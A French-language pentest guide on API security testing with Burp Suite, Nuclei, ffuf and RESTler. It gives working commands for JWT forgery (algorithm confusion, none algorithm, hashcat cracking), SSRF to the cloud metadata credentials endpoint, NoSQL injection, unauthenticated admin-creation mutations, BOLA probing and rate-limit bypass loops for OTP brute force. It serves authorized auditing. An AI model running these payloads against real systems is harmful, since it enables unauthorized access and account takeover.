API Security : Fuzzing Avance avec Burp et Nuclei en 2026

En 2026, les interfaces de programmation applicative (API) sont devenues la colonne vertébrale de l'économie numérique — et la cible principale des attaquants. Selon le rapport Salt Security State of API Security 2026, 83 % du trafic internet transite par des API, et 94 % des organisations ont subi des incidents de sécurité liés aux API au cours des douze derniers mois. Gartner anticipe que les API représenteront le vecteur d'attaque le plus fréquent contre les applications web d'entreprise. Face à cette réalité, l'OWASP API Security Project a publié en 2023 une mise à jour majeure de son Top 10, intégrant de nouvelles catégories comme les abus de business flows et le Server Side Request Forgery. Ce guide présente le workflow complet d'audit de sécurité API : de la découverte d'endpoints à l'exploitation des vulnérabilités, avec les outils Burp Suite, Nuclei, ffuf et RESTler. Chaque étape est illustrée de commandes réelles et de templates YAML opérationnels pour maîtriser l'api security fuzzing burp nuclei 2026. Que vous soyez pentesteur, développeur ou RSSI, cette méthodologie vous permettra d'identifier et de corriger les failles avant qu'un attaquant ne les exploite.

OWASP API Security Top 10 2023 : les 10 familles de vulnérabilités critiques

La version 2023 de l'OWASP API Security Top 10 marque une évolution significative par rapport à l'édition 2019. Elle intègre des menaces émergentes liées aux architectures microservices, aux APIs GraphQL et aux abus de logique métier. Trois nouvelles catégories font leur apparition : API6 (Unrestricted Access to Sensitive Business Flows), API7 (Server Side Request Forgery) et API10 (Unsafe Consumption of APIs). Voici le tableau complet des 10 catégories avec leurs impacts et exemples d'exploitation :

Cette taxonomie structure le cadre de référence pour tout audit de sécurité API. Chaque catégorie correspond à des tests spécifiques détaillés dans les sections suivantes. La catégorie API10 (Unsafe Consumption) reflète l'importance croissante de la sécurité de la chaîne d'approvisionnement applicative dans les architectures modernes, où une API tierce compromise peut devenir le vecteur d'intrusion dans votre système d'information.

Burp Suite pour l'audit API : Intruder, Repeater et extensions essentielles

Burp Suite Professional demeure l'outil de référence pour les pentesters API en 2026. Sa capacité à intercepter, modifier et rejouer les requêtes HTTP/HTTPS en fait un outil indispensable pour tester l'intégralité des vulnérabilités OWASP API Top 10. La PortSwigger Web Security Academy documente les techniques avancées d'API testing avec des labs interactifs.

Configuration du proxy Burp pour les APIs

Pour auditer des APIs mobiles ou des clients non-navigateur, configurez Burp comme proxy transparent :

# Configurer le proxy Burp sur 127.0.0.1:8080
# Exporter le certificat CA Burp pour le trust store
curl -k https://burp/cert -o burp-ca.der

# Convertir en PEM si nécessaire
openssl x509 -inform DER -in burp-ca.der -out burp-ca.pem

# Tester une API REST avec curl via Burp
curl -x http://127.0.0.1:8080   -H "Authorization: Bearer TOKEN"   -H "Content-Type: application/json"   https://api.target.com/v1/users/me

# Intercepter le trafic d'une application mobile (Android)
# Installer le cert Burp dans le keystore système Android
adb push burp-ca.der /sdcard/
# Settings > Security > Install certificate > CA certificate

Burp Intruder : fuzzing de paramètres API

L'Intruder permet de fuzzer automatiquement les paramètres d'API pour découvrir des BOLA/IDOR, des injections et des problèmes d'autorisation. En mode Sniper, chaque position est fuzzée individuellement avec la wordlist choisie. En mode Cluster Bomb, toutes les combinaisons sont testées — idéal pour le credential stuffing :

# Position Sniper pour BOLA/IDOR (API1)
# Requête cible : GET /api/v1/accounts/§123§/transactions
# Wordlist : séquence numérique 1-10000
# Grep match sur : "balance", "iban", "amount"

# Cluster Bomb pour test d'autorisation croisée (API5)
# Position 1 : rôle dans le JWT payload (§user§ / §admin§ / §manager§)
# Position 2 : endpoint admin (§/users§ / §/settings§ / §/audit-logs§)

# Intruder pour mass assignment (API3)
# Mode Sniper sur le JSON body
# Payload : {"§isAdmin§": true} avec wordlist de noms de champs sensibles
# Wordlist : /opt/SecLists/Discovery/Web-Content/burp-parameter-names.txt

Extensions Burp indispensables pour l'audit API

Plusieurs extensions du BApp Store transforment Burp en plateforme d'audit API complète :

• JSON Web Tokens (JWT Editor) : Permet de décoder, modifier et signer des JWT directement dans Burp. Supporte les attaques algorithm confusion, none algorithm et key confusion sans quitter l'interface Burp.
• InQL (GraphQL Scanner) : Génère automatiquement toutes les queries et mutations GraphQL depuis l'introspection. Intègre une interface de requêtage et détecte les types d'injection dans les arguments.
• AuthMatrix : Crée une matrice d'autorisation pour tester chaque endpoint avec différents rôles utilisateurs — parfait pour détecter les failles API5 (Broken Function Level Authorization) de manière systématique.
• Param Miner : Découvre les paramètres cachés dans les APIs (query params, JSON fields, headers non documentés) par analyse différentielle des réponses.
• HTTP Request Smuggler : Détecte les vulnérabilités de request smuggling sur les APIs derrière des reverse proxies Nginx, HAProxy ou AWS ALB.

Nuclei : automatiser les tests avec des templates API sur mesure

Nuclei, développé par ProjectDiscovery, est devenu l'outil de scan de vulnérabilités le plus populaire en 2026 grâce à son système de templates YAML extensibles. Le dépôt officiel nuclei-templates contient plus de 9 000 templates dont plus de 1 500 dédiés à la sécurité API. Son intégration native dans les pipelines CI/CD en fait un outil de choix pour le security testing continu.

Scan API avec les templates communautaires

# Nuclei scan API avec templates fuzzing et exposures
nuclei -u https://api.target.com -t fuzzing/api/ -t exposures/apis/   -H "Authorization: Bearer TOKEN" -rate-limit 10 -json -o results.json

# Scanner les endpoints GraphQL
nuclei -u https://api.target.com/graphql   -t fuzzing/graphql/ -t exposures/apis/graphql-introspection.yaml   -H "Content-Type: application/json" -v

# Templates pour les JWT (API2 - Broken Authentication)
nuclei -u https://api.target.com   -t fuzzing/tokens/ -t vulnerabilities/generic/jwt-none-algorithm.yaml   -H "Authorization: Bearer VOTRE_JWT_ICI"

# Scan complet avec toutes les catégories API OWASP
nuclei -u https://api.target.com   -t fuzzing/ -t exposures/ -t vulnerabilities/   -tags api,jwt,graphql,idor,ssrf   -rate-limit 5 -timeout 10 -retries 2   -o nuclei-api-scan.json -of json

Template Nuclei custom pour BOLA/IDOR (API1)

La puissance de Nuclei réside dans la facilité de création de templates personnalisés adaptés à l'application cible. Voici un template complet pour tester les vulnérabilités BOLA/IDOR :

# Template Nuclei custom pour BOLA/IDOR
id: api-idor-test
info:
  name: API IDOR Test
  severity: high
  tags: api,idor,authentication
  description: Teste l'accès non autorisé aux ressources d'autres utilisateurs via manipulation d'ID

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/users/{{user_id}}/profile"
      - "{{BaseURL}}/api/v1/accounts/{{user_id}}/data"
      - "{{BaseURL}}/api/v2/orders/{{user_id}}"
    payloads:
      user_id:
        - "1"
        - "2"
        - "3"
        - "100"
        - "1000"
    attack: sniper
    headers:
      Authorization: "Bearer {{token}}"
      Content-Type: "application/json"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - '"email"'
          - '"username"'
          - '"phone"'
        condition: or
    extractors:
      - type: regex
        name: leaked_email
        regex:
          - '"email":\s*"([^"]+)"'
      - type: regex
        name: leaked_username
        regex:
          - '"username":\s*"([^"]+)"'

# Template Nuclei pour CORS misconfiguration (API8)
id: api-cors-misconfiguration
info:
  name: API CORS Wildcard Misconfiguration
  severity: medium
  tags: api,cors,misconfiguration

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/data"
    headers:
      Origin: "https://evil.attacker.com"
    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Access-Control-Allow-Origin: https://evil.attacker.com"
          - "Access-Control-Allow-Origin: *"
        condition: or
      - type: word
        part: header
        words:
          - "Access-Control-Allow-Credentials: true"

ffuf : fuzzing d'endpoints et découverte de surface d'attaque

ffuf (Fuzz Faster U Fool) est l'outil de prédilection pour la découverte d'endpoints API non documentés. Combiné aux wordlists SecLists (dépôt ffuf), il permet de cartographier exhaustivement la surface d'attaque d'une API, notamment les endpoints obsolètes visés par API9 (Improper Inventory Management).

# Découverte d'endpoints REST avec filtrage des codes HTTP pertinents
ffuf -u https://api.target.com/FUZZ   -w /opt/SecLists/Discovery/Web-Content/api/objects.txt   -H "Content-Type: application/json"   -H "Authorization: Bearer TOKEN"   -mc 200,201,204,401,403   -o endpoints.json -of json

# Fuzzing de versions d'API — détection d'API9 (Inventory Management)
ffuf -u https://api.target.com/FUZZ/users   -w /opt/SecLists/Discovery/Web-Content/api/api-versions.txt   -H "Authorization: Bearer TOKEN"   -mc 200,201,204,401,403 -v

# Fuzzing de paramètres JSON pour mass assignment (API3)
ffuf -u https://api.target.com/v1/users/me   -X PATCH   -H "Content-Type: application/json"   -H "Authorization: Bearer TOKEN"   -d '{"FUZZ": "test_value"}'   -w /opt/SecLists/Discovery/Web-Content/burp-parameter-names.txt   -mc 200,204 -v

# Rate limiting bypass avec rotation de headers X-Forwarded-For
ffuf -u https://api.target.com/v1/auth/login   -X POST   -H "Content-Type: application/json"   -H "X-Forwarded-For: FUZZ"   -d '{"email":"[email protected]","password":"test"}'   -w /opt/SecLists/Fuzzing/IPv4-addresses.txt   -mc 200 -t 5 -rate 10

Pour éviter de déclencher les mécanismes de détection, adaptez le débit avec l'option -rate (requêtes par seconde) et introduisez des délais entre les requêtes via -p. La combinaison ffuf + audit des configurations Kubernetes RBAC est particulièrement efficace dans les environnements cloud-native, où les APIs de contrôle sont souvent exposées avec des permissions trop larges.

RESTler (Microsoft) : test de state machine pour APIs REST

RESTler, développé par Microsoft Research et disponible sur GitHub, est l'unique outil open source dédié aux tests de state machine pour APIs REST. Contrairement aux fuzzers classiques qui envoient des requêtes isolées, RESTler apprend les dépendances entre endpoints en analysant la spécification OpenAPI/Swagger, puis génère automatiquement des séquences de requêtes cohérentes pour tester les transitions d'état et les flux métier.

# Installation RESTler via Docker
docker pull mcr.microsoft.com/restlerfuzzer/restler:latest

# Phase 1 : Compilation depuis la spécification OpenAPI 3.0
docker run --rm -v $(pwd):/workdir   mcr.microsoft.com/restlerfuzzer/restler   Compile --api_spec /workdir/openapi.json

# Phase 2 : Test mode — exécute les séquences sans mutations
docker run --rm -v $(pwd):/workdir   mcr.microsoft.com/restlerfuzzer/restler   Test --grammar_file /workdir/Compile/grammar.py        --dictionary_file /workdir/Compile/dict.json        --settings /workdir/restler_settings.json        --no_ssl

# Phase 3 : Fuzzing complet avec mutations (time_budget en heures)
docker run --rm -v $(pwd):/workdir   mcr.microsoft.com/restlerfuzzer/restler   Fuzz --grammar_file /workdir/Compile/grammar.py        --dictionary_file /workdir/Compile/dict.json        --time_budget 4        --target_ip api.target.com        --target_port 443

# Analyser les résultats : crashs, erreurs 500, comportements inattendus
find ./RestlerResults -name "*.txt" | xargs grep -l "500\|Internal Server Error"

RESTler excelle dans la détection de vulnérabilités de logique métier complexes (API6 — Unrestricted Business Flows) car il teste des séquences réalistes : créer une commande → modifier la quantité → valider le paiement → vérifier le stock. Ces scénarios multi-étapes sont impossibles à tester avec les outils de fuzzing statique classiques. RESTler a découvert des failles critiques dans des APIs Azure et AWS en générant des séquences d'opérations que les développeurs n'avaient pas anticipées.

Sécurité GraphQL : introspection, queries abusives et mutations non authentifiées

GraphQL présente une surface d'attaque unique par rapport aux APIs REST. Son système d'introspection, sa flexibilité de requêtes et sa gestion des permissions au niveau du resolver créent des vulnérabilités spécifiques souvent négligées lors des audits. Ce domaine fait l'objet d'un traitement détaillé dans notre article sur les attaques API GraphQL et REST.

Exploitation de l'introspection GraphQL active

# Vérifier si l'introspection est activée
curl -s -X POST https://api.target.com/graphql   -H "Content-Type: application/json"   -d '{"query": "{ __schema { types { name } } }"}' | jq '.data.__schema.types[].name'

# Introspection complète avec graphql-cop (audit automatisé)
pip install graphql-cop
graphql-cop -t https://api.target.com/graphql -o report.json

# Enumérer toutes les mutations disponibles (API5 - Function Level Auth)
curl -s -X POST https://api.target.com/graphql   -H "Content-Type: application/json"   -d '{"query": "{ __schema { mutationType { fields { name description args { name type { name kind ofType { name kind } } } } } } }"}'   | jq '.data.__schema.mutationType.fields[].name'

# Test de mutation sans authentification
curl -X POST https://api.target.com/graphql   -H "Content-Type: application/json"   -d '{"query": "mutation { createAdmin(email: "[email protected]", password: "hacked", role: "admin") { id email } }"}'

Queries abusives et injection NoSQL via paramètres GraphQL

# DoS via query profondément imbriquée (API4 - Resource Consumption)
curl -X POST https://api.target.com/graphql   -H "Content-Type: application/json"   -d '{"query": "{ users { friends { friends { friends { friends { id name email } } } } } }"}'

# Injection NoSQL via argument GraphQL (non échappé)
curl -X POST https://api.target.com/graphql   -H "Content-Type: application/json"   -d '{"query": "{ user(id: {"\$gt": ""}) { id email passwordHash } }"}'

# SSRF via resolver GraphQL (API7)
curl -X POST https://api.target.com/graphql   -H "Content-Type: application/json"   -d '{"query": "mutation { fetchExternalData(url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/") { content } }"}'

# Alias abuse pour contourner le rate limiting (API6)
curl -X POST https://api.target.com/graphql   -H "Content-Type: application/json"   -d '{"query": "{ a1: login(email:"[email protected]",p:"1") { token } a2: login(email:"[email protected]",p:"2") { token } a3: login(email:"[email protected]",p:"3") { token } }"}'

Attaques JWT : algorithm confusion, none algorithm et brute-force

Les JSON Web Tokens constituent le mécanisme d'authentification dominant des APIs modernes, et leur implémentation incorrecte engendre des vulnérabilités critiques (API2 — Broken Authentication). Ces attaques s'inscrivent dans la problématique plus large du bypass des mécanismes d'authentification forte.

Algorithm confusion : RS256 → HS256

L'attaque d'algorithm confusion exploite une vulnérabilité dans les bibliothèques JWT qui acceptent dynamiquement l'algorithme spécifié dans le header du token. Si l'API utilise RS256 (clé publique/privée RSA) mais que la bibliothèque accepte aussi HS256 (HMAC avec secret symétrique), un attaquant peut forger un token signé avec la clé publique RSA comme secret HMAC — clé qui est par définition accessible publiquement.

# Étape 1 : Récupérer la clé publique RS256
curl https://target.com/.well-known/jwks.json

# Extraire et convertir la clé publique PEM depuis JWKS
python3 -c "
import json, base64, requests
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers

jwks = requests.get('https://target.com/.well-known/jwks.json').json()
key_data = jwks['keys'][0]
n = int.from_bytes(base64.urlsafe_b64decode(key_data['n'] + '=='), 'big')
e = int.from_bytes(base64.urlsafe_b64decode(key_data['e'] + '=='), 'big')
pub_key = RSAPublicNumbers(e, n).public_key(default_backend())
pem = pub_key.public_bytes(
    serialization.Encoding.PEM,
    serialization.PublicFormat.SubjectPublicKeyInfo
)
print(pem.decode())
" > public.pem

# Étape 2 : Forger un JWT HS256 signé avec la clé publique comme secret HMAC
python3 -c "
import jwt, requests
public_key = open('public.pem').read()
forged = jwt.encode({'sub': 'admin', 'role': 'superadmin'}, public_key, algorithm='HS256')
print(forged)
"

Attaque none algorithm et brute-force de secrets faibles

# Attaque 'none' algorithm (si la lib ne valide pas l'algorithme)
python3 -c "
import base64, json

header = base64.urlsafe_b64encode(
    json.dumps({'alg':'none','typ':'JWT'}).encode()
).rstrip(b'=').decode()

payload = base64.urlsafe_b64encode(
    json.dumps({'sub':'admin','role':'superadmin','exp':9999999999}).encode()
).rstrip(b'=').decode()

# Signature vide pour l'algorithme 'none'
token = f'{header}.{payload}.'
print(token)
"

# Brute-force de secret HMAC faible avec hashcat
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0In0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
echo "$TOKEN" > jwt.txt
hashcat -a 0 -m 16500 jwt.txt /opt/SecLists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt

# Tester avec des wordlists communes (secrets par défaut)
hashcat -a 0 -m 16500 jwt.txt /opt/SecLists/Passwords/Default-Credentials/default-passwords.txt

BOLA et Mass Assignment : IDOR structurel dans les APIs REST

Les vulnérabilités BOLA (Broken Object Level Authorization), équivalentes aux IDOR (Insecure Direct Object Reference) dans le contexte API, représentent la première cause de compromission de données via API selon le rapport OWASP 2023. La faille est structurelle : l'API reçoit un identifiant d'objet dans la requête client et accède aux données sans vérifier que l'utilisateur authentifié est bien le propriétaire légitime de cet objet. Les systèmes reliant plusieurs services via Microsoft Graph API sont particulièrement exposés si les permissions ne sont pas validées à chaque niveau.

Méthodologie de test BOLA systématique

# Étape 1 : Créer deux comptes utilisateurs distincts (user_A et user_B)
# Étape 2 : Avec user_A, récupérer l'identifiant de ses ressources
curl -H "Authorization: Bearer TOKEN_A" https://api.target.com/api/v1/accounts
# Réponse attendue : {"id": "acc_123abc", "balance": 1500, "iban": "FR76..."}

# Étape 3 : Avec user_B, tenter d'accéder à la ressource de user_A
curl -H "Authorization: Bearer TOKEN_B" https://api.target.com/api/v1/accounts/acc_123abc
# VULNÉRABILITÉ BOLA si le serveur retourne les données de user_A !

# Étape 4 : Tester toutes les variantes d'accès aux ressources
for method in GET PUT PATCH DELETE; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" -X $method     -H "Authorization: Bearer TOKEN_B"     https://api.target.com/api/v1/accounts/acc_123abc)
  echo "$method /accounts/acc_123abc → HTTP $STATUS"
done

# Test de mass assignment (API3) — injecter des champs non documentés
curl -X PATCH https://api.target.com/api/v1/users/me   -H "Authorization: Bearer TOKEN"   -H "Content-Type: application/json"   -d '{"username":"hacker","isAdmin":true,"role":"superadmin","credits":999999,"verified":true}'

Le mass assignment est une variante de BOLA au niveau des propriétés : l'API accepte et persiste des champs non documentés envoyés dans le corps de la requête. Un champ isAdmin: true envoyé dans un PATCH utilisateur et persisté sans contrôle équivaut à une élévation de privilèges immédiate.

Rate Limiting Bypass : contourner les protections anti-brute-force

Les mécanismes de rate limiting basés sur l'IP source sont contournables par plusieurs techniques bien documentées. Ces bypasses permettent d'attaquer les endpoints d'authentification (API2), de vérification d'OTP et de réinitialisation de mot de passe, transformant une protection apparente en obstacle trivial.

# Bypass via rotation de X-Forwarded-For
for i in $(seq 1 100); do
  FAKE_IP="10.$((RANDOM % 254)).$((RANDOM % 254)).$((RANDOM % 254))"
  RESULT=$(curl -s -o /dev/null -w "%{http_code}"     -X POST https://api.target.com/v1/auth/verify-otp     -H "Content-Type: application/json"     -H "X-Forwarded-For: $FAKE_IP"     -H "X-Real-IP: $FAKE_IP"     -H "X-Originating-IP: $FAKE_IP"     -d "{"email":"[email protected]","otp":"$(printf '%06d' $RANDOM)"}")
  echo "IP=$FAKE_IP HTTP=$RESULT"
done

# Test de tous les headers de proxy alternatifs
for header in "X-Forwarded-For" "X-Real-IP" "X-Client-IP" "CF-Connecting-IP" "True-Client-IP" "X-Cluster-Client-IP"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}"     -X POST https://api.target.com/v1/auth/login     -H "Content-Type: application/json"     -H "$header: 1.2.3.$((RANDOM % 255))"     -d '{"email":"[email protected]","password":"test123"}')
  echo "$header → HTTP $STATUS"
done

# Bypass par paramètre dupliqué (certaines implémentations prennent le dernier)
curl -X POST "https://api.target.com/v1/[email protected][email protected]"   -H "Content-Type: application/json"   -d '{"password":"brute_force_attempt"}'

Les protections robustes contre ces bypasses combinent plusieurs signaux : empreinte du device, comportement de navigation, analyse des patterns de requêtes, et challenge CAPTCHA adaptatif. Les APIs intégrant des agents IA nécessitent une attention particulière sur les vecteurs d'injection — voir notre analyse sur l'intégration d'agents IA et d'APIs externes.

Workflow complet d'audit de sécurité API : de la découverte au rapport

Un audit API professionnel suit une méthodologie structurée en quatre phases. Cette approche garantit une couverture exhaustive de la surface d'attaque tout en maintenant la traçabilité nécessaire pour le rapport final. Pour les environnements d'entreprise, un RSSI externalisé peut superviser ces audits récurrents dans le cadre d'un programme de sécurité continu.

Phase 1 : Discovery et cartographie de la surface d'attaque

# 1. Récupérer les spécifications OpenAPI/Swagger exposées
for path in /openapi.json /swagger.json /api-docs /v2/api-docs /v3/api-docs; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" https://api.target.com$path)
  [ "$STATUS" = "200" ] && echo "FOUND: $path" && curl -s https://api.target.com$path > spec$path.json
done

# 2. Analyse des fichiers JavaScript pour extraire les endpoints
# (applications SPA — React, Vue, Angular)
grep -rE '"/(api|v[0-9]+)/[a-z_/-]+"' --include="*.js" . |   grep -oE '"/(api|v[0-9]+)/[a-z_/-]+"' | sort -u > js-endpoints.txt

# 3. Discovery active avec ffuf
ffuf -u https://api.target.com/FUZZ   -w /opt/SecLists/Discovery/Web-Content/api/api-endpoints.txt   -mc 200,201,204,301,302,401,403   -o phase1-endpoints.json -of json

# 4. Cartographie Nuclei — exposures et misconfigurations
nuclei -u https://api.target.com   -t exposures/apis/ -t exposures/configs/   -o phase1-nuclei.json -of json

Phase 2 : Tests d'authentification et d'autorisation

# 5. Analyser le mécanisme JWT en place
echo "TOKEN" | cut -d. -f1 | base64 -d 2>/dev/null | jq . # Header
echo "TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq . # Payload

# 6. Tester l'accès sans authentification à chaque endpoint découvert
while IFS= read -r endpoint; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "$endpoint")
  if [ "$STATUS" != "401" ] && [ "$STATUS" != "403" ]; then
    echo "UNAUTHENTICATED ACCESS: $endpoint → HTTP $STATUS"
  fi
done < discovered-endpoints.txt

# 7. AuthMatrix Burp : tester chaque endpoint avec 3 rôles
# user_token, manager_token, admin_token
# Documenter les accès inattendus dans la matrice

Phase 3 : Fuzzing et exploitation ciblée

# 8. Scan Nuclei complet avec authentification
nuclei -u https://api.target.com   -t fuzzing/ -t vulnerabilities/ -t exposures/   -tags api,jwt,graphql,ssrf,idor,sqli,xss   -H "Authorization: Bearer TOKEN"   -rate-limit 10 -o phase3-nuclei.json -of json

# 9. RESTler si spécification OpenAPI disponible
# (voir section RESTler ci-dessus — time_budget selon la taille de l'API)

# 10. Tests manuels Burp ciblés sur les vulnérabilités identifiées
# Priorité : BOLA (API1) → JWT attacks (API2) → Mass assignment (API3)

Phase 4 : Documentation et rapport final

Le rapport d'audit API doit inclure pour chaque vulnérabilité : la requête HTTP complète (preuve d'exploitation reproductible), la classification OWASP API Top 10, le score CVSS v3.1, l'impact métier estimé (confidentialité, intégrité, disponibilité) et les recommandations de remédiation priorisées. Un audit de sécurité professionnel fournit également un plan de remédiation adapté à votre stack technique, avec des exemples de code corrigé pour les vulnérabilités les plus critiques.

Questions fréquentes

Quelle est la différence entre BOLA et IDOR dans le contexte des APIs REST ?

BOLA (Broken Object Level Authorization) est le terme OWASP API Top 10 2023, tandis qu'IDOR (Insecure Direct Object Reference) vient du Top 10 Web classique. Dans les APIs REST, les deux désignent la même vulnérabilité fondamentale : l'API accepte un identifiant d'objet fourni par le client et retourne les données sans vérifier que l'utilisateur authentifié en est le propriétaire légitime. BOLA est plus précis car il englobe tous les types d'identificateurs — UUID, hash, slug, séquence numérique — pas seulement les références directes numériques classiques de l'IDOR.

Comment savoir si une API GraphQL est vulnérable à l'introspection non autorisée ?

Envoyez une requête d'introspection minimale : {"query": "{ __schema { types { name } } }"}. Si la réponse contient une liste de types, l'introspection est active. En production, elle doit être désactivée ou limitée aux adresses IP autorisées. Des outils comme graphql-cop automatisent ce test et vérifient simultanément d'autres misconfigurations : absence de depth limiting, aliases illimités permettant le contournement du rate limiting, directives dangereuses. L'introspection active expose l'intégralité du schéma aux attaquants, facilitant l'énumération des mutations sensibles et la construction de queries d'exploitation.

Nuclei ou Burp Suite : quel outil choisir pour un audit API professionnel ?

Les deux sont complémentaires et indispensables dans un audit professionnel. Nuclei excelle en automatisation et couverture large — idéal pour les scans initiaux, la détection de misconfigurations communes et l'intégration dans les pipelines CI/CD. Burp Suite Professional est irremplaçable pour les tests manuels, l'analyse des flux d'authentification complexes, le fuzzing paramétré avec Intruder et l'exploitation de vulnérabilités logiques que les templates automatisés ne peuvent pas détecter. La méthodologie optimale combine Nuclei pour le discovery automatisé en phase 1 et Burp pour l'exploitation manuelle approfondie en phase 3.

Comment détecter une attaque d'algorithm confusion JWT côté défenseur ?

Côté défenseur, l'algorithm confusion se détecte et se prévient en validant strictement l'algorithme dans le header JWT avant toute vérification de signature. La bibliothèque doit être configurée pour n'accepter qu'un algorithme spécifique (ex. RS256), en rejetant explicitement les tokens HS256 si votre infrastructure utilise des clés asymétriques. Activez la journalisation de toutes les tentatives de vérification JWT échouées et des tokens présentant des algorithmes inattendus. Des solutions WAAP (Web Application and API Protection) comme AWS WAF ou Cloudflare API Shield détectent ces anomalies en temps réel.

Le fuzzing API peut-il provoquer des dommages en production ?

Oui — le fuzzing génère des centaines à milliers de requêtes par minute, pouvant déclencher des alertes de sécurité, saturer des files de traitement, créer des données parasites en base, ou activer des alertes de fraude sur les systèmes de paiement. Le fuzzing doit toujours être effectué sur un environnement de recette dédié ou avec une autorisation écrite explicite incluant une fenêtre de maintenance pour la production. Utilisez systématiquement les options de rate limiting (-rate-limit dans Nuclei, -rate dans ffuf) et excluez les endpoints de suppression et de paiement lors des phases de discovery automatisée.